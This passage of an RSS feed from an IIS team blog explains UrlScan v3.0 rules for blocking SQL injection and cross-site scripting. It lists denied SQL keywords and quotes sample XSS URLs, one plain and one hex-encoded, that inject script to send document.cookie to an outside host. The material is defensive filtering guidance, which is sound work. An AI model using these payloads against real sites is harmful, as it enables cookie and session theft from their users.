&lt;P&gt;&lt;FONT color=#800080&gt;&lt;STRONG&gt;[SQL Injection Headers]&lt;/STRONG&gt; &lt;BR&gt;AppliesTo=.asp,.aspx &lt;BR&gt;DenyDataSection=SQL Injection Headers Strings &lt;BR&gt;ScanUrl=0 &lt;BR&gt;ScanAllRaw=0 &lt;BR&gt;ScanQueryString=0 &lt;BR&gt;ScanHeaders=Cookie: &lt;BR&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;&lt;STRONG&gt;[SQL Injection Headers Strings]&lt;/STRONG&gt; &lt;BR&gt;-- &lt;BR&gt;@ ; also catches @@ &lt;BR&gt;alter &lt;BR&gt;cast &lt;BR&gt;convert &lt;BR&gt;create &lt;BR&gt;declare &lt;BR&gt;delete &lt;BR&gt;drop &lt;BR&gt;exec ; also catches execute &lt;BR&gt;fetch &lt;BR&gt;insert &lt;BR&gt;kill &lt;BR&gt;select&lt;/FONT&gt;&lt;/P&gt;&lt;/BLOCKQUOTE&gt;
&lt;P&gt;For folks who have been following this, you will notice that an older version was looking at ScanAllRaw. Even with a trimmed down list, there were a lot of things breaking. Like /* with the Accept-Encoding header and 'cast' in User-Agent strings that had things like 'broadcast'. So I followed my own advice and reduced the scope a little more.&lt;/P&gt;
&lt;P&gt;Another part of the request that folks missed was the request entity, but the explanation for that deviated from this topic sufficiently to warrant its own blog &lt;A href="http://blogs.iis.net/nazim/archive/2008/06/30/urlscan-v3-0-filtering-based-on-request-entity.aspx" mce_href="http://blogs.iis.net/nazim/archive/2008/06/30/urlscan-v3-0-filtering-based-on-request-entity.aspx"&gt;here&lt;/A&gt;.&lt;/P&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2457686" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/SQL+injection/default.aspx">SQL injection</category><category domain="http://blogs.iis.net/nazim/archive/tags/UrlScan/default.aspx">UrlScan</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS7/default.aspx">IIS7</category><category domain="http://blogs.iis.net/nazim/archive/tags/HTTP/default.aspx">HTTP</category></item><item><title>UrlScan v3.0 filtering based on Request Entity</title><link>http://blogs.iis.net/nazim/archive/2008/06/30/urlscan-v3-0-filtering-based-on-request-entity.aspx</link><pubDate>Mon, 30 Jun 2008 20:21:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2457646</guid><dc:creator>naziml</dc:creator><slash:comments>12</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2457646</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/06/30/urlscan-v3-0-filtering-based-on-request-entity.aspx#comments</comments><description>&lt;P&gt;While some folks are rejoicing, others are noticing the lack of scanning for the request entity. Why would we do that? The easy answer is that this is just not possible with an ISAPI filter. In IIS 5 and earlier, there is no API that would allow us to filter request entity, so request entity will never happen there.&amp;nbsp; In IIS 6, the APIs exist to do this via * script maps, but the performance would be pretty bad.&amp;nbsp; Also, there is no mechanism to treat the request as a stream, so there would be potential memory utilization problems. So we left it at that and said "can't do it, sorry".&lt;/P&gt;
&lt;P&gt;But then you ask, "what about the request filtering module in IIS7"? Theoretically the IIS7 module APIs certainly let you analyze the request entity, so it is certainly possible. One of our current tasks is to bring the request filtering module up to par (feature-wise) with UrlScan v3.0 and then we can consider answering this complex problem. Yes, don't let this fool you ... analyzing request entity is a complex problem that has consequences for both performance and security. There is a multitude of things you need to account for here: compression/encryption, custom serialization, signature split between multiple POSTs, memory pressure due to entity buffering for POST data, etc. By no means are we claiming that this is an impossible task ... just that the cost to benefit ratio for this is low at this point. But we will try to look into this, time permitting. &lt;/P&gt;
&lt;P&gt;Please feel free to send your thoughts/comments ... happy filtering !!&lt;/P&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2457646" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/UrlScan/default.aspx">UrlScan</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS7/default.aspx">IIS7</category><category domain="http://blogs.iis.net/nazim/archive/tags/HTTP/default.aspx">HTTP</category></item><item><title>Using the new rules configuration in UrlScan v3.0 Beta (Part 1)</title><link>http://blogs.iis.net/nazim/archive/2008/06/24/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-1.aspx</link><pubDate>Tue, 24 Jun 2008 19:51:00 GMT</pubDate><guid isPermaLink="false">50bcf3b4-f6fe-4638-adff-0c150e922e99:2444228</guid><dc:creator>naziml</dc:creator><slash:comments>11</slash:comments><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://blogs.iis.net/nazim/rsscomments.aspx?PostID=2444228</wfw:commentRss><comments>http://blogs.iis.net/nazim/archive/2008/06/24/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-1.aspx#comments</comments><description>&lt;P&gt;If you haven't noticed already, UrlScan v3.0 Beta is out and it is the answer to all your prayers. Well maybe not all, but it still is nifty. UrlScan 2.5 is widely used and is quite popular. There were a few minor issues with it that were all fixed for UrlScan 3.0. But besides those UrlScan now has the ability to filter based on query strings as well and a new rules syntax lets you specify powerful rules and lets you stay organized while you are at it. &lt;/P&gt;
&lt;P&gt;I thought I would take some time to write some sample rules for common scenarios that people would like to filter, but instead decided to dissect our defaults and the little sample for SQL injection that we put up on the &lt;A href="http://learn.iis.net/page.aspx/476/common-urlscan-scenarios" mce_href="http://learn.iis.net/page.aspx/476/common-urlscan-scenarios"&gt;walkthrough&lt;/A&gt; for the Beta.&lt;/P&gt;
&lt;H3&gt;&lt;FONT color=#008080&gt;Cross site scripting&lt;/FONT&gt;&lt;/H3&gt;
&lt;P&gt;There has been a lot of discussion about XSS and it falls into the same bucket as SQL injection in the fact that this is not a server/product vulnerability. It is an application issue just like SQL injection. CGISecurity has a nice little FAQ on XSS &lt;A href="http://www.cgisecurity.com/articles/xss-faq.shtml" mce_href="http://www.cgisecurity.com/articles/xss-faq.shtml"&gt;here&lt;/A&gt; and iDefense has a decent whitepaper &lt;A href="http://www.cgisecurity.com/lib/XSS.pdf" mce_href="http://www.cgisecurity.com/lib/XSS.pdf"&gt;here&lt;/A&gt;. There are quite a few advanced papers on XSS evasion and static XSS detection in applications, but like all things in life, simple is usually good. &lt;/P&gt;
&lt;P&gt;Most XSS attacks will pass in script where the application does not expect it. Here are some samples of what a XSS attack might look like from the CGISecurity FAQ linked above.&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;http://host/a.php?variable="&amp;gt;&amp;lt;script&amp;gt;document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie&amp;lt;/script&amp;gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;Notice the similarity to SQL injection? The variable query string parameter is pre-emptively terminated and a bunch of script goo is added. Folks can get a little more devious and encode the query string like below so it's not easily identified.&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;The pattern that should jump out at you is the &amp;lt;script&amp;gt; tag, but how do I accurately detect it in the cases where I might have it encoded or have to deal with arbitrary whitespaces like &amp;lt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; script&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;gt; ? The new default urlscan.ini contains a rule in it to protect against these sort of patterns and the rule is just simply:&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;[DenyQueryStringSequences]&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;&amp;lt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;&amp;gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;Simply put it just disallows angle brackets in the query string and if you think about the myriad web applications out there today, not many have legitimate use of either the '&amp;lt;' or the '&amp;gt;' character on the query string. Along with the above section, the default configuration also has the following set:&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;[Options]&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT color=#800080&gt;UnescapeQueryString=1&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;What this does is that it will check sequences in both the raw and the un-escaped version of the query string. So now even the second example above for XSS would be caught by the default rule.&lt;/P&gt;
&lt;P&gt;Read the &lt;A href="http://blogs.iis.net/nazim/archive/2008/06/30/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-2.aspx" mce_href="http://blogs.iis.net/nazim/archive/2008/06/30/using-the-new-rules-configuration-in-urlscan-v3-0-beta-part-2.aspx"&gt;next post&lt;/A&gt; in the series and watch me dissect the sample SQL injection rule in the &lt;A href="http://learn.iis.net/page.aspx/476/common-urlscan-scenarios" mce_href="http://learn.iis.net/page.aspx/476/common-urlscan-scenarios"&gt;walkthrough&lt;/A&gt; posted.&lt;/P&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2444228" width="1" height="1"&gt;</description><category domain="http://blogs.iis.net/nazim/archive/tags/UrlScan/default.aspx">UrlScan</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS6/default.aspx">IIS6</category><category domain="http://blogs.iis.net/nazim/archive/tags/IIS7/default.aspx">IIS7</category></item></channel></rss>